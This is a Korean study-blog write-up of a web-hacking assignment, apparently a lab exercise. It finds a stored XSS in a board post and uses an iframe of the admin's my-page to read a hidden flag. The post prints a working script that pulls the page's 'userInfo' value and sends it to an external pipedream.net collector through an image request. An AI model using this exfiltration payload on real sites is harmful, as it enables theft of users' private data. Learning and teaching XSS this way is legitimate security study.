본문 바로가기

웹 해킹

웹 해킹 공부 일기장 7 - 과제2 (XSS)

3. admin 계정의 마이페이지의 정보란에 flag가 숨겨져있다!

1) XSS 포인트 찾기

게시글 작성 및 수정
게시글 확인

 

게시글 내용에 작성한 특수문자들이 전부 그대로 출력되는 것을 확인할 수 있고 이 부분에서 우리는 XSS 공격을 해볼 수 있습니다.

 

2) 스크립트 삽입

스크립트 삽입
스크립트 실행

 

삽입한 스크립트가 우리가 생각한대로 실행되는 것도 확인했습니다. 그럼 이제 admin계정의 마이페이지에서 정보를 가져오는 스크립트를 작성하면 될 것 같습니다.

 

3) flag 찾기

XSS 취약점이 발생한 곳은 게시글인데 가져올 정보는 마이페이지에 있습니다.

iframe 태그를 사용하여 게시글에서 마이페이지를 그대로 가져와야할 것 같습니다.

 

<iframe src="마이페이지 주소"></iframe> 을 게시글 내용에 넣어보겠습니다.

마이페이지 가져오기
가져온 마이페이지 확인

 

마이페이지도 가져오기 성공!! 이제 Nothing Here... 라는 단어를 가져오는 것을 해보겠습니다.

원하는 정보 위치 확인

 

<input name="info" type="text" id="userInfo" placeholder="Nothing Here..."> 입니다.

class로 Element를 가져오는 것 말고 어떤 것을 사용해도 상관없을 것 같습니다.

 

id는 하나밖에 존재하지 않기때문에 id로 가져오는 것이 편하기 때문에 id를 사용해서 하겠습니다.

document.getElementById('userInfo')를 사용해주면 됩니다.

원하는 정보 위치 확인

 

Element를 가져오기를 성공했습니다. 원하는 정보는 placeholder에 있습니다.

.placeholder를 사용하면 정보를 가져올 수 있습니다.

원하는 정보 획득

 

이제 원하는 정보의 위치?는 알았습니다. 실제로 보내지는지 확인해보겠습니다.

window.addEventListener("DOMContentLoaded", function() {
var a = document.getElementById('test');
var b = a.contentDocument;
var flag = b.getElementById('userInfo').placeholder;
var i = new Image();
i.src = 'https://en793hi7qhxbd.x.pipedream.net/?flag='+flag;
})

스크립트 삽입

 

게시글에 접속하면 스크립트가 실행되며 해당 정보를 공격자 서버로 보내줍니다.

정보 획득

 

이제 관리자가 해당 게시글에만 접속하면 관리자의 마이페이지에 있는 정보를 획득할 수 있습니다.

관리자가 게시글 확인

 

스크립트 실행하여 flag 확인

 

과제를 통해 XSS 취약점이 발생할 때 사용할 수 있는 스크립트를 확인해보았습니다.

스크립트를 어떻게 작성하냐에 따라 공격 방법은 다양하다는 것 또한 알았습니다.